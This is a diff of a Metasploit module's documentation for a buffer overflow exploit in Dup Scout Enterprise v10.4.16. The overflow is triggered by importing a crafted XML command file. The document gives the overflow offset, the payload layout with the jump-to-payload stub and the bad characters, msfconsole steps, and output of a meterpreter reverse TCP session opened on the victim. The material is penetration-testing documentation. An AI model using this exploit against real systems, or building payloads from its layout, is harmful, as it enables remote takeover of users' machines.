|
1 |
| -This module exploits a buffer overflow in Dup Scout Enterprise v10.4.16 by using the import command option to import a specially crafted xml file. |
| 1 | +## Overview |
2 | 2 |
|
3 |
| -## Vulnerable Application |
4 |
| - |
5 |
| -This module has been tested successfully on Windows 7 SP1. The vulnerable application is available for download at [www.dupscout.com](http://www.dupscout.com/setups/dupscoutent_setup_v10.4.16.exe). |
| 3 | +This module exploits a buffer overflow in libpal.dll that is used by [Dup Scout Enterprise v10.4.16](http://www.dupscout.com/setups/dupscoutent_setup_v10.4.16.exe). The buffer overflow occurs during a call to the SCA_XmlParser::GetToken function when a user-supplied Command file with a crafted name attribute is imported to the Dup Scout application. The SCA_XmlParser::GetToken function is passed a heap pointer as an argument, which was created by the SCA_XmlParser::LoadXmlFile function and contains data from the user-supplied Command file, and a pointer to a stack buffer that was created in the SCA_XmlParser::ParseXmlElement function. While parsing the name attribute, the SCA_XmlParser::GetToken function copies from the heap buffer to the stack buffer until a single quote (to match name=', or a double quote to match name=") is found or until it finishes reading from the allocated heap buffer. |
6 | 4 |
|
7 | 5 | ## Verification Steps
|
8 | 6 |
|
9 |
| -1. Start msfconsole |
10 |
| -2. Do: `exploit/windows/fileformat/dupscout_xml` |
11 |
| -3. Do: `set PAYLOAD [PAYLOAD]` |
12 |
| -4. Do: `run` |
| 7 | +- [ ] Install Dup Scout Enterprise on target system |
| 8 | +- [ ] `./msfconsole` |
| 9 | +- [ ] `use exploit/windows/fileformat/dupscout_xml` |
| 10 | +- [ ] `set payload windows/meterpreter/reverse_tcp` |
| 11 | +- [ ] `set lhost <lhost>` |
| 12 | +- [ ] `run` |
| 13 | +- [ ] `use exploit/multi/handler` |
| 14 | +- [ ] `set payload windows/meterpreter/reverse_tcp` |
| 15 | +- [ ] `set lhost <lhost>` |
| 16 | +- [ ] `run` |
| 17 | +- [ ] From the DupScout Enterprise menu select Command -> Import Command |
| 18 | +- [ ] Select file generated by metasploit |
| 19 | +- [ ] Get a session |
| 20 | + |
| 21 | +## Exploiting the Vulnerability |
| 22 | + |
| 23 | +The vulnerability can be exploited when the size of the name attribute is greater than 1560 bytes. |
| 24 | + |
| 25 | +Note: The allocated stack buffer size is 1564 bytes but the first four bytes are filled with `\xff` during execution of the SCA_XmlParser::GetToken function. |
| 26 | + |
| 27 | +Since the stack buffer was allocated as a local variable for the SCA_XmlParser::ParseXmlElement function, the program's control flow isn't taken over until the return of the SCA_XmlParser::ParseXmlElement function even though the return value is overwritten during execution of the SCA_XmlParser::GetToken function. |
| 28 | + |
| 29 | +The format of the crafted Command file will be: |
| 30 | + |
| 31 | +``` |
| 32 | +buf = "<?xml ?><a name='" |
| 33 | +buf << make_nops(1560) # Fill up the stack buffer |
| 34 | +buf << addr_of_jmp_esp # overwrite the return address for SCA_XmlParser::ParseXmlElement |
| 35 | +buf << make_nops(16) # account for ret 10h in SCA_XmlParser::ParseXmlElement |
| 36 | +buf << inst1 # LEA EAX, [ESP+14h] # Prepare EAX to jump to payload |
| 37 | +buf << inst2 # JMP EAX # Jump to our desired location |
| 38 | +buf << make_nops(14) # Fill past possibly corrupted location |
| 39 | +buf << payload # Location that is jumped to |
| 40 | +``` |
| 41 | + |
| 42 | +Note: The last make_nops will offset the location of the payload. The offset is included to account for writes to the stack buffer that occur when whitespace characters are included in the Command file. By offsetting the payload, the number of bad characters can be reduced to just the single or double quote characters. |
| 43 | + |
| 44 | +## Example Execution |
| 45 | + |
| 46 | +This exploit was tested on Windows 7 SP1 x64. |
13 | 47 |
|
14 |
| -## Example |
15 | 48 | ```
|
16 |
| -msf > use exploit/windows/fileformat/dupscout_xml |
17 |
| -msf exploit(windows/fileformat/dupscout_xml) > set PAYLOAD windows/meterpreter/reverse_tcp |
18 |
| -PAYLOAD => windows/meterpreter/reverse_tcp |
19 |
| -msf exploit(windows/fileformat/dupscout_xml) > set LHOST 172.16.40.146 |
20 |
| -LHOST => 172.16.40.146 |
21 |
| -msf exploit(windows/fileformat/dupscout_xml) > run |
| 49 | +msf5 > use exploit/windows/fileformat/dupscout_xml |
| 50 | +msf5 exploit(windows/fileformat/dupscout_xml) > set payload windows/meterpreter/reverse_tcp |
| 51 | +payload => windows/meterpreter/reverse_tcp |
| 52 | +msf5 exploit(windows/fileformat/dupscout_xml) > set lhost 172.22.222.120 |
| 53 | +lhost => 172.22.222.120 |
| 54 | +msf5 exploit(windows/fileformat/dupscout_xml) > run |
22 | 55 |
|
23 | 56 | [*] Creating 'msf.xml' file ...
|
24 |
| -[+] msf.xml stored at /root/.msf4/local/msf.xml |
25 |
| -msf exploit(windows/fileformat/dupscout_xml) > use exploit/multi/handler |
26 |
| -msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp |
27 |
| -PAYLOAD => windows/meterpreter/reverse_tcp |
28 |
| -msf exploit(multi/handler) > set LHOST 172.16.40.146 |
29 |
| -LHOST => 172.16.40.146 |
30 |
| -msf exploit(multi/handler) > run |
31 |
| -
|
32 |
| -[*] Started reverse TCP handler on 172.16.40.146:4444 |
33 |
| -[*] Sending stage (179779 bytes) to 172.16.40.144 |
34 |
| -[*] Meterpreter session 1 opened (172.16.40.146:4444 -> 172.16.40.144:49790) at 2018-01-24 20:56:56 +0000 |
35 |
| -
|
36 |
| -meterpreter > sysinfo |
37 |
| -Computer : PC |
| 57 | +[+] msf.xml stored at /home/msfdev/.msf4/local/msf.xml |
| 58 | +msf5 exploit(windows/fileformat/dupscout_xml) > use exploit/multi/handler |
| 59 | +msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp |
| 60 | +payload => windows/meterpreter/reverse_tcp |
| 61 | +msf5 exploit(multi/handler) > set lhost 172.22.222.120 |
| 62 | +lhost => 172.22.222.120 |
| 63 | +msf5 exploit(multi/handler) > run |
| 64 | +
|
| 65 | +[*] Started reverse TCP handler on 172.22.222.120:4444 |
| 66 | +[*] Sending stage (179779 bytes) to 172.22.222.122 |
| 67 | +
|
| 68 | +meterpreter > getuid |
| 69 | +Server username: .\pwnduser |
| 70 | +meterpreter > sysinfo |
| 71 | +Computer : . |
38 | 72 | OS : Windows 7 (Build 7601, Service Pack 1).
|
39 |
| -Architecture : x86 |
40 |
| -System Language : pt_PT |
| 73 | +Architecture : x64 |
| 74 | +System Language : en_US |
41 | 75 | Domain : WORKGROUP
|
42 |
| -Logged On Users : 1 |
| 76 | +Logged On Users : 2 |
43 | 77 | Meterpreter : x86/windows
|
44 | 78 | meterpreter >
|
45 | 79 | ```
|
0 commit comments